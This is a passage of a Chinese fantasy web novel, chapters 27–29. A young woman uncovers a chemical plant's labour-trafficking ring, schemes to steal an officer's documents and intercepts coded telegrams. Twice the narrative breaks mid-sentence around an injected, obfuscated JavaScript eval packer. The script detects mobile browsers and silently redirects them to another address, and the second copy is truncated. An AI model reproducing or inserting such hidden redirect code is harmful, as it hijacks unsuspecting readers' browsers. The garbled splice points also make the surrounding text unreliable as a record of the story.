拉斐尔坐在角落的一把椅子上,抱起双臂翘着腿,盯着萝拉的眼睛,语气难得地有些低沉:“萝拉,我问你件事:你之前去地面学校旁听,真的是去上学吗?没有去干别的?” 他不像加茜娅一样寒暄半天,而是张口就直入主题。 萝拉先是一怔,眼神飘忽,不自觉地用机械指尖弯曲着书页,发出金属摩擦的声响:“当然……就是去上学的。” “你骗我。”拉斐尔语气平静得有些可怕,“你跟学校门口的警卫打招呼了吧?你就这样挥霍学费,整天不务正业溜出去玩?” 萝拉一时间答不上来,嘴角笑容僵硬,下意识地瞥了眼加茜娅,看她有没有皱眉。加茜娅的表情和拉斐尔正相反,她始终温柔地笑着说话:“这个年纪,贪玩也是很正常的。” “我没有贪玩!”萝拉下意识反驳。可她不知道他们掌握了什么证据,也不知道接下来该如何继续辩解,“我只是……我只是偶尔帮人做点零工挣钱……” “你去的是哪个化工厂?黑蔷薇?”加茜娅忽然开口。 萝拉立刻否认:“不是!”但她意识到自己反应过度,不禁咬住嘴唇,低垂着头,脸色涨红。 屋内一片沉默。拉斐尔忽然站起身来,背后的椅子腿在地板上“咔”地划出一道刺耳刮擦声。 他有点烦躁,猛抓一把头发,在狭小的房间里走来走去:“你去打工!你疯了吗……你知不知道他们每天接触些什么?泽诺知道这事吗?还是说你就这么想送死?” “我没有……我不知道你在讲什么!”萝拉抽动着身子捂住脸,泪水从她指缝里溢出,顺着金属骨节往下嘀嗒。 加茜娅抚着她抖动的背,瞪拉斐尔一眼:“拉斐尔!你再用这种语气,就出去。”她拍拍萝拉的肩膀,用眼神示意拉斐尔安静坐下。 过了会儿,萝拉慢慢平息情绪,靠着加茜娅的肩膀,时不时还抽一下气。 加茜娅觉得萝拉是个懂事的女孩,只要讲明利害关系,想必就会袒露实情,所以耐心地等。 “萝拉,我向你保证,我们绝对不会把这事告诉别人,包括你爸爸。” 拉斐尔在加茜娅的注视下,也不情不愿地点了下头。 “你们想知道什么?知道了又能怎么办呢?”萝拉冷静下来,低头看着自己的躯体,“我这个样子,就算能去中州最好的医院也没用了。用机械义肢挺好的,有毛病也好修理。平时只需要涂机油,消耗也不大。” “但是,你不想报仇吗?”加茜娅循循善诱,“至少是让那些人付出和你一样的代价!” 她说到这里时,露出了和之前面对小胡子秘书时一样的奇异笑容。 “所以你们要做什么?”萝拉问。 加茜娅定定地笑着:“这些黑厂产业,还有背后的家伙,要付出毁灭的代价。你不用怕,只需要告诉我你知道的任何事就行。” “姐姐。”萝拉虚弱挣扎着,将冷冰冰的机械义肢搭在加茜娅手上。 她纠结片刻,最后还是开口央求:“别这样,他们会失去工作。大家都没钱,有的是在济贫院长大、被慈善协会介绍来的,还有在别的州生活不下去,偷渡来的……就算生病也比饿死强吧?” 27.Chapter 27. 沉溺 萝拉话音刚落,加茜娅便抓住自己想要的重点,冷笑一声,什么都明白了。 “果然是他们‘介绍’的。不,说是奴隶买卖也不为过吧?” 她紧攥衣袖,心脏和头脑像被巨大的元素风暴撕来扯去。 至此,所有线索串联起来:这条灰色利益链,根本不需要谁来组织操控,自己就运转了起来。高层、执行层各取所需,线人相联,像“托马斯”和“麦克”一样默契匿名。 “蒙格马利和霍桑家族都在其中,各行其用。”加茜娅心里细数:元老院、大法院、报社与工厂等各行业头面人物……抱团的爪子伸得足够深远,简直是一棵盘踞七州的巨树,根系密布、枝繁叶茂,一点光都透不进去。 穷人靠力气活下去,她靠脑子和身体……可到头来,活路还是死路。活着是恶性循环,中毒生病了就去买“慈善出品”的廉价成瘾药。死了呢?像她这样,还能当一颗弃子,给所有受益者背黑锅。 联邦腐朽,无一处不是蚁穴;可惜矗立至今,腐而未朽,真不知是何神通! 她握着萝拉冰冷坚硬的手,又低声问了她几个问题,关于她在黑蔷薇化工厂内的所见所闻、这些症状是如何发展等等。 “……姐姐,你们真的要这样做吗?”萝拉如实答过,又重提刚才的隐忧,“毁了他们之后,剩下的工人还得找其它厂子。”她低头看一眼自己的身体,“而且我们都离不开那些廉价药,以后没人产了怎么办?” 加茜娅静默片刻,低叹:“这世道,谁都没得选。但至少,眼前那些害了我……我们的人,一定不能好过。” 拉斐尔在旁边出声:“如果要动手,就得做干净点。至于和我们无关的人,自然会自己找出路。” 他顿了顿,又懒洋洋地总结:“工人可以去别的地方;市场还在,药品也总会有人接手。让该死的人死掉就好了!” 萝拉默默地闭上嘴,低头摆弄自己的手指。 加茜娅出了会儿神,有些疲惫地揉了揉眉心,随后泄了力,怔怔地靠在床头墙壁上。拉斐尔看着她,感到一阵不可言说的难受,便没再插嘴。 她强打起精神,接着问萝拉一些细节问题。 此时屋内空气湿寒,暗绿色魔导灯光幽幽地散发凉意。 加茜娅停下对话,不知怎么打了个哆嗦,捂着嘴背过身,连打好几个喷嚏。她控制不住地抱紧自己,仿佛举世的寒冷都集于己身。 拉斐尔坐在那听到一半,目光无意识地反复移回她脸上。恍惚看了很久,突然被她青得发紫的嘴唇吓到了。 或许是灯光原因,衬得她缺乏“活气”,整个人仿佛一缕飘荡的游魂,吹口气就要散化成烟。他本来也不太在意,可不知怎么回事,从发现这件事开始,内心逐渐焦躁起来。 这次惊动他的,不是她身上别具一格的阴森美貌,而是她蹙起的眉头——他头一次清醒意识到,她似乎不舒服。加茜娅衣料单薄。 她只是个人类啊!人类是坐在壁炉旁边烤火的物种,自然很难适应地下城的阴冷。 混蛋,这不是早该知道的吗? 拉斐尔忽然心生烦躁,坐立不安。 他立马忘记了其它的事,一下子站起身来,没头没尾地插了句话:“我离开一会儿,你们继续。” “喂,拉斐尔!你去哪?” 加茜娅刚问出声,便看到那片空气周围的物品扭曲一阵。这位神出鬼没的混血精灵早已不见踪影。 . 地下城中区街道阴暗,攀布在悬崖之上的狭巷复杂交错,仿佛无尽迷宫。 拉斐尔什么也没想,就是干着急。 他移速极快,每隔半秒,残影便闪现十米开外。熟练地穿过几条街后,拐进一家隐藏在巷尾的小店:没有招牌,只有一扇矮小铁门。 门开,倒垂的铜铃“叮铃”一响。店内地方狭窄、四壁漆黑,是使用了空间折叠术的样貌。 一名暗精灵老者盘腿坐在中央,身旁燃起数团幽蓝冷焰。他正敲打着一把乌黑短剑,闻声抬起眼睛瞥他: “哟!银鬼?你很久不来了!我刚做了一批货,有新的附魔匕刃,要看看吗?我今天没客人,可以马上帮你安装。” “有没有带火魔阵的?” “当然有!”老板立刻将手旁的短剑翻转过来,锋刃上猩红与深蓝的流光交织隐现,数道火焰魔纹符阵盘旋其中。他竖起剑,一条火舌缠绕爬升,窜至半空。 “不要火焰武器,能简单发热保暖就行。” “啊?”老板一时愣住,“就算受再严重的伤,你也不至于怕冷吧!” 暗精灵长居阴影之中,天生耐寒,地下城的其它居民也早就习惯了这里的温度,根本不会有谁特意求购保暖用品。 “别管。你现在马上画一个低能量火魔阵,随便画什么东西上,我等着急用。”拉斐尔与这老板面对面、原地扶膝坐下。 “低能量火魔阵?你怎么不直接买个热水袋?”老板嗤笑一声,以为拉斐尔在恶作剧。这家伙也不是头一回发癫了。 “热水袋怎么随身携带?而且还要经常换水,麻烦。”拉斐尔颇正经地摇头。 “你小子……”老板正要讥笑,蓦地想起最近的一些传闻,似有所悟,遂用不可言说的调侃眼神打量他,“难道是拿去讨好心上人啊?” “对。”拉斐尔心里念着加茜娅,很罕见地不想多说话,并且嫌他扯东扯西的,浪费时间! 身周空间振荡数秒,一颗暗红的低阶火焰魔法石出现在老板手心。 他用符文刻刀随手画了几下,递给拉斐尔:“这种小玩意,就当白给你!只是个最简单的元素抑制符阵,没有魔纹波动,可以控制热量慢慢释放。现在的温度刚好。” “多谢,晚点再来光顾你!”拉斐尔伸手抓过火焰魔法石,起身就走。 “不聊几句?喂!你!上次的账还没有结吧!” 老板刚抬起手,对方便扭头消失在黑暗之中。 他举着手呆看一会儿,把符文刻刀扔进工具袋里,摇头咒骂:“这疯狗……”停顿一下,又啧啧奇怪,“要是让其它自由者知道,银鬼跑腿给人类买暖手石,怕是能笑话他一百年!” . 拉斐尔回到萝拉房间时,看到她们两个正偎在一起看书说话。似乎是已经把正事谈完了,不知道这会在悄悄地聊什么,见他一来,都自动噤了声。 他走上前,单手上下抛动火焰暖石。 “加茜娅,这个送你!”他轻快地喊了声,准备把暖石往加茜娅怀里投去。 加茜娅下意识撇过头往后倾,将手挡在胸前。这微带抗拒的动作又叫拉斐尔一怔。他收起暖石,弯下身慢慢地把它放在加茜娅腿上。 那颗玲珑剔透的火焰魔法石陷进裙子褶皱里,流动着微弱的红光,照得人暖意洋洋。她捧起暖石,感到周身萦绕许久的寒意逐渐消散。 整个房间里的温度都上升些许。 萝拉笑着瞅加茜娅。本来没什么,但她这一笑,反倒引得加茜娅不好意思了,飞快地瞟拉斐尔一眼:“谢谢。” 拉斐尔很不满意:“这么客气!怎么不叫亲爱的了?” 加茜娅觉得有点手痒。她起身,背对着萝拉,凶狠地白他一眼:“时间不早,我该回去了。萝拉也要休息了。” “姐姐下次什么时候来?”萝拉碰碰她的手。 “等你读完这本书的时候。”加茜娅瞬时间微笑着回过头,将另一只手覆在她冰冷的机械手背上。 拉斐尔挨了加茜娅白眼,嘴角压不住地上翘,心里将这一记泼辣的嗔怒咂摸来去,耳根发热,恨不得再叫她把自己好好瞪穿。 他牵着加茜娅同萝拉告别,走在前头托着她的手下楼。 萝拉坐在床上,犹然想着刚才的一番对话。小房间里又只剩自己。 加茜娅说,等自己把这本厚书读完的时候,就能再见到她了。可是,这样的体量,以萝拉现在的阅读速度,怎么也得两个星期,才能全部看完。 萝拉思考片刻,直接翻到最后: 那一页上只是正文最后的附录图,画的是十五年前,一支消失在大陆南部阿尔法海湾的勘探队的,航线图。 图纸脆而发黄,钢笔虚实线勾勒精细,密密铺满卷曲的海浪。航线从沿海港口出发,沿常规航道行进,却在某个岔口突然偏离预定主线,止步于地图边缘的漩涡标记。 “我们从未放弃搜救。”这行小字印在角落。然而,此后再无任何关于这支队伍的消息。没有生还者名单,没有补充报告,也没有后续勘探计划。 什么意思? 加茜娅…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15161002|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会再回来了? 萝拉敏锐地察觉不对,立刻翻身下床。但她还不太适应新装的腿部辅助器,因此“扑通”一声跌倒在地。 她操纵机械手臂爬到角落的一把椅子旁,然后一手拉住椅子腿,另一手配合着笨拙萎缩的大腿,奋力地将自己和椅子拖到窗边,再叮呤哐啷地把自己折腾着跪到椅子上。 这时候,拉斐尔已经带着加茜娅走到楼下,走出不远不近的一段距离。 加茜娅不知怎么,突然想回头看一眼。她看向那扇窗户。窗台上露出萝拉的半个小脑袋,刚好卡在眼睛下边。加茜娅对她一笑,点点头。 萝拉费劲地举起机械手臂,刚挥动一下,就重心偏移地往旁边倒下去。 哐当!稀里哗啦。 ——等她再收拾好自己、重新趴到窗户边上时,他们早就已经走远了。 萝拉呆了很久,慢慢地从椅子上下来,爬上床,捡起手边的《海洋魔法矿物勘探日志》,从头翻起。 那一夜,她的梦里全是遥远的海浪波涛之声,意动神迷。 . 半个小时后,加茜娅回到自己房间。 “今天信息量有点大,我需要时间整理核对。还有一些事,得等他们发电报的时候再确定。”加茜娅记挂着自己藏在工厂办公室沙发下的短波收发器。她祈祷这么做足够隐蔽,至少在自己离开前,不要被发现。 “你擅长这个,都听你的。”拉斐尔伸了个懒腰,“我就等着跟你干票大的了。” 加茜娅心不在焉地点点头。 “一切都会好起来的,加茜娅。有我在,你不会有危险。”他时刻留意加茜娅的状态,说了许多好话,试图安慰她。 她忽然心生触动,抬手摸他凉而光滑的脸颊。这倒把拉斐尔惊了一惊,转而又自觉喜悦。 他搂住加西娅,亲昵地吻了她的头发:“我这几天有点忙,可能没法天天见了。等结束了就马上来找你。” “你现在事儿这么多?” “毕竟是有你在了嘛。”他没正面回答什么,随手撩起加茜娅鬓前的一绺碎发,帮她挽到耳后去。这样一来,月光毫无遮挡地洒在她脸上,皎洁无暇。 “下个月……有公共假期吧?就在你出外勤前几天。上次在诊所,洛瑟说你需要多休息放松。我想带你……”他停在这儿,笑了下,“无所谓,随便吧,去哪儿放松都行,只要你想去的地方都可以。” 加茜娅目光闪动,沉默不言。 “加茜娅?”他问。心里奇异地不安着。 她立刻看向他:“逗你呢!我会在这儿等你的。说好了去哪都行?” “你高兴就可以。” “总之先把正事解决完。”加茜娅仓促一笑。 “你说得对。” 拉斐尔弯下背,搂住加茜娅的腰,拉起她的手,覆在自己一侧脸颊上,闭了眼。两人贴着安静了会儿。窗外连风声都没有,这世界更是小得只有他们俩。 他生平记忆里,很少出现这样的温情时刻。说实话,这里发生的一切都和梦境一样。也许他做梦都造不出这样的人,这样的事;也许从前听说过,但那时候他不懂。 加茜娅秀气的一双眼绞着他的神魂,睫毛浓密,瞳底深深,里面是夜晚的黑色海水,倒映漫天星河。波浪随风而起,席卷吞噬他的心脏,永恒不息。 她大概也是喜欢他的。但不知怎么,拉斐尔忽然有点不确定起来,一颗心紧了又紧,瑟瑟发颤,空荡无着落。 他无端地暗自胆怯,害怕许多不真实的可能性。 “加茜娅,再对我说点好听的话吧。”自始至终,他不敢提什么承诺,只是闭着眼,在加茜娅手心里慢慢地转动脸,叹了口气。 “笨蛋。”她也同样温柔一叹,低低地在他耳边笑。 ……就这么溺死在她掌心里也是好的。他想。 . 天快亮时,拉斐尔终于舍得离开了。 但加茜娅并不打算真的等他。 她在住处的信箱里发现了一封匿名信,带有阅后即无的符文。至于内容,显然是莫伯斯的手笔: 【如果还想保持你那清白无辜的样子待在某人身边,就照我说的做……米拉也会感谢你的。】 加茜娅知道,这个地方不能再留了。 28.Chapter 28. 赌 她必须尽快搬走,除了自身安全因素外,还要考虑下一步计划。 莫伯斯在信里要求她潜入阿纳鲁身边,获取任何一份他亲手签署的文件。目的么,加茜娅也能猜到,无非是别的路子走不通,只好针对性伪造或传谣,反向挟制阿纳鲁,促使军部在走私案上轻拿轻放。 “没必要闹出不可收拾的局面。”莫伯斯在信里写道,“只要我们彼此放过,每个人都能太太平平过日子。加茜娅,聪明一点,这对你们这些女人有好处!” 加茜娅冷笑。莫伯斯的动作来得正是时候,明面上给了她进一步接触阿纳鲁的动机:假里掺真,这恰好可以作为“真正的理由”。 暗地里,她还得通过他复制边境通行文件,至少是仿造一下驻防总司令的印章或签名——在边防点密布的西高地、伊瑟尔州附近,这是躲过各类岗哨检察的最佳途径。 此时窗外冷蓝微亮,路灯还未暗下,空气里有雨雪初融的寒腥泥土味。加茜娅扶着额头沉吟片刻,索性又省略了睡眠。 她从抽屉里拿出药瓶,咽下最后两片兴奋剂。生物钟在崩溃的边缘,可大脑仍要保持高度清醒。接下来事情可不少。 加茜娅开始写回信,假作服从指令,但措辞巧妙地说些“尽力”的话。 接着,收拾某些敏感设备,例如床底下那台自制电报机。她熟练地拆卸完毕,只把个别关键组件藏在首饰盒里,和空间戒指收在一起。剩余外壳等带不走的笨重板块,一律投入壁炉焚烧,变形后捡出,悄悄埋入后花园泥土中。 透过一楼窗帘,可看到房东老夫妇的房间里亮起暖黄灯光。她望了一会儿,返回房间找出零钱作剩余房租,留在他们的信箱里。给莫伯斯的信藏入自己独立楼梯下的信箱中,待他的眼线伺机回收。 接下来就要去找阿纳鲁。她把信箱盖子合好,深吸一口气,扯紧大衣领口,转身走向空荡荡的街道。 今天是休息日,但加茜娅知道,这个人不会休息。她决定去中央军事基地附近,车辆必经的路旁等候。 . “长官!” 詹姆斯起初怀疑自己看错了。他停下车,看着窗外站在街边的加茜娅,摇下窗户,同时回头喊了后座的人一声。 加茜娅和阿纳鲁同时抬起头对视。 他的目光在她脸上淡淡地停留一秒,随后视若无睹般转开,仿佛只是随便看到个普通路人。 加茜娅没听清他和詹姆斯说了句什么。詹姆斯迟疑着,又扭头瞅了眼加茜娅,终究没有开口,重新升上车窗。 汽车发动了,慢慢往前开走。 加茜娅心里一凉。她怀疑那个人在后视镜里看自己,于是咬咬牙、提起裙子小跑着追了几步——直到车保持着缓慢的速度,开过军事基地的岗哨。 为什么?她喘着气慢慢停下。是因为她对他已经没有价值?是因为上次分开时的不愉快?还是她始终没有按照他说的,主动去找他,致使他对这关系失了兴趣,后退、观望她的态度? 但她实在没有时间。要是可以,她巴不得能分裂出十个自己同时做事! 加茜娅暗自叹口气,决定赌一把,抱紧手臂在门外站着。街灯灭了,四周更暗,雪光与偶尔经过的昏黄车灯交错闪烁,在地上映出多层影子,映得加茜娅天旋地转、头昏眼花。 冷风吹过,她打了个哆嗦,将手伸到大衣口袋里摸着暖石,稍微好受了点。暖石的棱面光滑温润,她摩挲着,心里升起些微妙而涩痛的情绪——刚意识到这点,加茜娅就把手拿出来了,宁可放在外面凉一凉。 天上又开始飘下雪花,落在她头上、身上,化作水钻进睫毛缝隙去,沿着眼角流下来,好像是落泪一般。 没过多久,詹姆斯从岗哨大门内重新开车出来,摇下车窗,要接她进去。后座无人。他看到加茜娅的狼狈相,皱起眉不说话,礼貌而有距离地递给她一方手巾。 “长官请你在会客厅等待。”他领着加茜娅去指挥中心大楼,进了二楼房门,叫她在长桌边的沙发上坐下,自己抱了叠文件到另一头去整理。 “他还要多久才有空?”室内也不算多暖和,加茜娅坐在这里,感觉浑身都快要冻僵。她暂且忍着,没把手伸进口袋。 “上级的事,恕我无法妄加揣测。”詹姆斯将部分资料收进柜子,另一沓留在桌上。余光留意到加茜娅森白的脸和病态的唇色,他转头出去,给加茜娅端来一杯热水。 加茜娅伸手感受着杯子上冒起的热气,又开始头晕心慌,眼前冒出些花花绿绿的小点。她缓了很久,强行令目光跟随詹姆斯敲门而进的身影,飞快瞥了眼办公室内——没有其他人,阿纳鲁只是自己在看文件。 她基本确定了他的想法,也明白了自己该怎么做。在詹姆斯走出来的时候,她站起身,拦住他正要关上的门。 “你……”詹姆斯赶紧飞转着眼珠,挤眉弄眼地暗示她别唐突。 加茜娅没理他,自己灵活地侧过身钻进去。里面的人没说话,似乎是默许了她的行为。 室内布置和上次来时差不多。她远远地瞟了眼桌上物品——电报机、译码本,钢笔架和墨水,还有蓄了烟头的烟灰缸。室内有没散完的烟味。 除他手头文件以外,其它地方没有摆放任何纸张,印章也未见踪影。内外都有人,门口还有往返巡逻的哨兵,很难在这里动任何手脚。 詹姆斯等待片刻,关上门。阿纳鲁这时候正好抬起头,再次与她对上视线。但也只是这么扫了一眼,又继续埋头批阅。 “我一直想着,来看看你。”加茜娅站到他对面。 阿纳鲁笔尖稍顿,在页脚上快速签完字,“哗”地翻到下一张。 他还是低着头,但终于愿意和她说话:“看我做什么?我们的合作已经结束了。我给的足够多,不亏欠你任何。” 加茜娅想:自己可以提及她助他争权升任的贡献,然后据理力争,仔细计较一番,说他给的还不够,再提出新要求。但她明白,自己此行不是来压他一头的。要想在筹码用尽后继续留在谈判桌上,就先得向他服软。 好在,她手头还有一点他的喜欢。也许不止一点,但再多也多不过他的疑心和傲慢。在他手里虽有转圜的余地,也全看她怎么把握,委曲求全。 她做出惶然而委屈的样子,扭着手指,在他短暂抬眼时转开目光:“没事就不能想你吗?你说好我可以直接找你的。” “我是这么说过。我甚至允许你用资源署的电话打到军部,但你没做。”他笔尖放慢,好像笑了一下,又好像没笑。加茜娅不知道他们两个谁更恍惚点。 她有些幽怨地,语调也高高低低:“我去问了才知道,我们只有内部电话,不像你们范围大些。差点叫我闹笑话!” 阿纳鲁沉默着,这回是真的气笑了:“我记得你们资源署这个小项目,拓宽电话线路的……项目款,在我去堪州之前就已经拨到位了?还不少吧?” “我不知道这回事,但好像一直在修理。”加茜娅摇头,心里明白是高层的手不干净。刚好可作借口。她继续无辜地抱怨:“你就为这个对我这么凶吗?” 他一时间无话可说,略微缓和了脸色,示意加茜娅坐到旁边沙发上。 但加茜娅没照他的意思做。她在他的注视下,款款走到他身旁,腰一摆就坐在他办公桌上,恰恰好压住他文件边角。两只冰凉的手触摸他的手背,往衣袖里探着取暖。 阿纳鲁抬头望她,不知为何,一颗心又热活地咚咚跳动起来。他暗骂了自己两句,表面却很平静:“直说吧,这次遇到什么事?” 加茜娅终于将准备好的话缓缓道来:“我好像……被人跟踪了。你说,会不会是莫伯斯?” 他微不可察地停下笔,似乎在斟酌权衡。 “有证据吗?” “没有。”加茜娅摇头,眼里又像是泛起水光,却强忍住不让那股酸胀翻涌出来,“你就这么不信我?第一反应都不担心的?” “不是我不信你。你背后的雇主呢?不保你了?”他有些讽刺地看着她。 “我早就没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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加茜娅转头就埋怨:“你真忙,早知道不来了。” 旁人在场,阿纳鲁并不接这茬,而是透露:“我确实很忙。下个月我不在中州。”他留意着加茜娅的反应。 加茜娅知道,他可能还在试探她。她并不顺着话继续打探,以免引起他疑心,只是装作有些失落的样子:“嗯,知道了。” 这之后,她作万分不舍的模样同他贴耳说了点话,方才松开手,顺从地跟随詹姆斯离开。 不过半天,阿纳鲁就处理完了所有的公务。他去休息室看加茜娅,发现她正蜷缩在沙发上熟睡,身上盖着他的大衣。 他坐下来,又静静地待了半天。这半天是在思考如何安置她。 送加茜娅回去收拾东西时,他同詹姆斯站在车外,先谈了几件公务安排,过些天的联合会议等等,然后抬头看一眼二楼加茜娅房间亮着的灯,不经意问:“你说,我是不是该多请点管家仆人之类的?” “这不好说,看您打算收留她多久。”詹姆斯也抬头瞄了眼,“如果是您平时常住的地方,即便给自己请也理所应当。” “我在中州待不久。”阿纳鲁靠在车上,夹了根烟,抽一口,缓缓吐气。他眯着眼,目光透过腾腾白烟,一直看着窗子里加茜娅摇晃的身影。 就这么看了会儿,他把声音放得很低: “我那些同僚养情人都很费心,礼物要挑贵的,仆人要成群的,房子要布置舒适的,偶尔还得办宴会、买衣服,稍微怠慢一点就闹情绪;听他们谈起来,简直像供个祖宗。”他说到这,咳嗽着笑了声。 詹姆斯微微一愣,不确定阿纳鲁究竟想说什么。毕竟这位长官从不谈论别人的隐私和八卦。他谨慎地听着,没有插话。 “我有时候希望她是那样。”阿纳鲁又吸了口烟,笑着摇摇头:“但我从没做过这种事,可能也没这份耐心。” 詹姆斯见他态度反复,试探着问:“您是担心她会提出太多要求?” “……多提点也行。”阿纳鲁叹一口气。 29.Chapter 29. 黑蔷薇 加茜娅住进这座别墅,是联合纪元八十四年的早春,正值奥瑞恩联邦内忧外患之际。月末,东部边防传来紧急战报,一场突如其来的地面异动触及乌尔顿火山脉连环爆发,致使国境线外“流放之域”的大批危险魔法族裔逃窜入侵。 中州安逸久了的居民早已习惯类似新闻。因此尽管报童走街串巷、叫得卖力,也未能多兜售几份报纸。军部这边显然忙了起来,阿纳鲁有时彻夜不归。问詹姆斯,只说是公务繁重,并非不想回来多待。 别墅位置距离军事基地只有十来分钟车程,是中州罕见的闹中取静之处,圈地极大,紧邻着栽满杜鹃花的山丘,没有任何工业嘈杂声。 但在加茜娅看来,这里实在有点死气沉沉。从庄园庭院再到室内,中规中矩的贵族装潢,宽敞空旷,布满魔纹监控屏障。除了园丁和大批新来的管家仆从,就没人了,喷泉日复一日独自表演。 加茜娅自己也总不在家。众仆闲得发慌。他们知道,两位新主人聚少离多,并且即将一个东一个西地奔赴异地,真不明白雇这么多人干嘛。或许是充门面,可充给谁看呢? 他们成了郁闷的守寡者,简直要集体诉起闺怨。 于是有机灵的,逮到阿纳鲁和加茜娅好不容易凑到一起共用晚饭的时间,在长桌边上菜时,建议他们趁分别之前,多多相处。很快被管家呵斥下场。 阿纳鲁像是听进去了,若有所思。加茜娅正愁怎么接触他的文件,闻言立刻抑扬顿挫地抱怨:“也不知道你所谓公务是什么公务,好像带不走一样,离了基地办公室就处理不了啦!” “有很多会议。再说,都是机密文件。”他用完餐,放下刀叉,简略地回复。 此时加茜娅才吃了一半,抬头,看到他静静望着自己,深邃的蓝眼睛似乎带有笑意。壁炉和蜡烛光荧荧跳动,将这位军官冷硬的轮廓溶得温柔了许多。 “你总是不相信我,也不在乎我的感受。工作比我重要很多吗?”加茜娅垂眼,用力地叉起一小块黄油面包,不吃,但嘴角下撇。 “身在其位,很多事情没有办法。”阿纳鲁说完,后面又问加茜娅最近的日常,她却不肯说话了,埋头一个劲细细地啃面包,很专心的样子。并且,鼻子眼睛都有些红起来——那是一点点逼出来的,刚刚好,不至于太刻意。 他静坐许久,叹了口气:“如果你想的话,我尽量回来多待。” 加茜娅点头不语,在内心翻了个白眼:别扭半天,听起来就像他不喜欢和自己相处似的!非得她表现到这个地步。 不管怎么说,那个落着锁的书房,总算打开了。虽然跟防贼似的,从不让加茜娅进去,但好歹是离她的目标更近一步。 阿纳鲁日落时回到别墅办公,一直到后半夜才休息。无论多忙,他总能和加茜娅一起吃晚饭。路灯亮起后,就牵着手一块儿到花园散步、说点闲话,偶尔开车去逛街,出手大方地任她购物。 没过几天,两个人就越来越多地不说话,只是单纯依偎在一起坐着,感受彼此加快的心跳。花园里有些地方没有灯照,暗得只剩月光。 起初他不怎么习惯接吻,但加茜娅主动,从轻轻浅浅的柔软触碰,到气息和唇舌终于扭动着搅在一起作响。她伏身压在他胸膛上,他收紧托在她背上的手,神经的热流一遍遍滚过周身。 光这么一件事就能消磨到深夜。 阿纳鲁留下的时间更长了,甚至有时候只是看着加茜娅忙活,看她赤脚在铺了地毯的房间里走来走去,布置点什么新装饰品,比比划划地征询他的意见,再扑进他怀里嘲笑他的审美。 日子忽然变得很慢,他开始注意到许多新事物。壁炉里火芯变换跳动的色泽,落地窗帘上缓缓攀爬的阳光,加茜娅耳垂上一粒细小的痣点,笑起来唇角上翘的弧度,她的裙摆上舒缓、流淌的褶皱。他看她一切都可爱。 他有时也恍然感到惊奇,仿佛进入一个从未知晓的世界,什么不相关的也都变得和加茜娅有关,都有她的影子,都令他暗暗地滋生喜悦。 但,他依然不让她进书房,哪怕她从仆人手里接过茶点端来,他也只会自己出门迎接。这一条底线,无论如何也不触碰。 没关系,加茜娅心想。她已经大致摸清了书房多重锁具的密码变换周期,以及他身上藏钥匙的规律,只等某个可乘之机下手潜入。她还有一些新方案,比如叫仆人们多储备点酒。 平日里,她在资源署培训时越发气定神闲,因为想好了将秘密泄露给别人的嫁祸对策,暗中开始准备手续。而黑蔷薇化工厂那边,也终于叫她监听到了想要的电报消息。 加茜娅把新组装好的简易电报机藏在卧室墙壁的机械挂钟内,同时从衣柜后方隐蔽接通电源和天线。这样能够自然掩盖轻微的滴答声,即使进来打扫的仆人也很难发现。 在机械钟内部,齿轮间隙里,她还设置了一卷可打孔纸带,自动储存电报内容,每天房间落锁后悄悄查看。 她先是收到黑蔷薇化工厂新发来的商谈安排,以工作忙碌为由选择了自己离开中州后的日期。接着,就监听到了工厂办公室发出的一封秘密电报。 破译密码是加茜娅的强项。即便信号不好而导致个别语词缺失,但只消几个小时,电报内容便基本完整地呈现出来:黑蔷薇化工厂内即将爆发一场引导性的工人骚乱,目的是抓获此前的工人暴动领头者以儆效尤。 “报社‘托马斯’等人已确定接收指令,将在工人骚乱开始后潜入现场拍摄照片,第一时间发布稿件以坐实指控……” 更让她心头一惊的是末尾附注信息—— 联邦大法院的大法官之一亚伯·霍桑亲自作保,会在事件后动用司法职权上下活动,判处暴动领头者重罪、释放潜伏于工人中的卧底,确保行动和往常一样“顺利收尾”。 加茜娅此前一直在推测大法院里到底谁有问题,现在看来,正是此人。霍桑家族的一连串罪证已完全浮出水面。她不禁浑身发抖,想起了多年前那场惨痛失败的举报,同时确立了他们的两面派真相: 从阿纳鲁此前的礼单和她手边各种剪报可以确定,霍桑表面上是阿纳鲁坚定的政治盟友、慈善行业的领头代表,但实际上早已与莫伯斯等派系的黑产阵营暗中勾连,所涉业务极其宽广。 她知道自己时间不多,有些事可以亲历亲为,有些只能借刀杀人。阿纳鲁为了掌权,正在秘密清洗对手盟友,是可以继续利用的好刀。问题是,如何将这些敏感信息巧妙送到他手中?这次不能再直接摊牌。 想了片刻,她剪下印刷字母,按序贴在信纸上,以莫伯斯口吻伪造一封秘密匿名函件。与此同时,她将自己带来的那盆琉璃花放到窗台上,以对应此前与莫伯斯线人暗通的信号:这代表在太阳落山后向他传递密报。 傍晚天色渐暗,阿纳鲁还不见人影。 加茜娅刚从浴室出来,头发滴着水,披了一件柔软的灰蓝色绒外袍,赤脚踩在地毯上,一边用毛巾慢慢擦着头发,一边从窗户探头往下看。发动机声音小了,汽车停好,下来的人是詹姆斯。 他只抬头看了一眼,看到米色碎花窗帘里一截雪白的肩膀,就被烫着般收回目光,手忙脚乱,返身又坐进车里去。等加茜娅收拾完毕换了衣服走出门,这名青年还双手握着方向盘不敢看她。 “长官有一场重要会议,今晚不回来。”他目视挡风玻璃前方,昂首挺胸、一本正经地交代,“如果需要去哪里,可以告诉我。” “你们这职业还真是辛苦。”加茜娅直接拉开副驾驶车门坐了进去。她瞟了一眼自己位于三楼的窗台,发现这个角度正好,有树木遮蔽,但并未完全挡住。 “不辛苦,这是我该做的。”詹姆斯干巴巴地回应。 太阳快要落山了。加茜娅转头看他:“我今天很累,不想出门,就这样坐着聊聊天吧?” 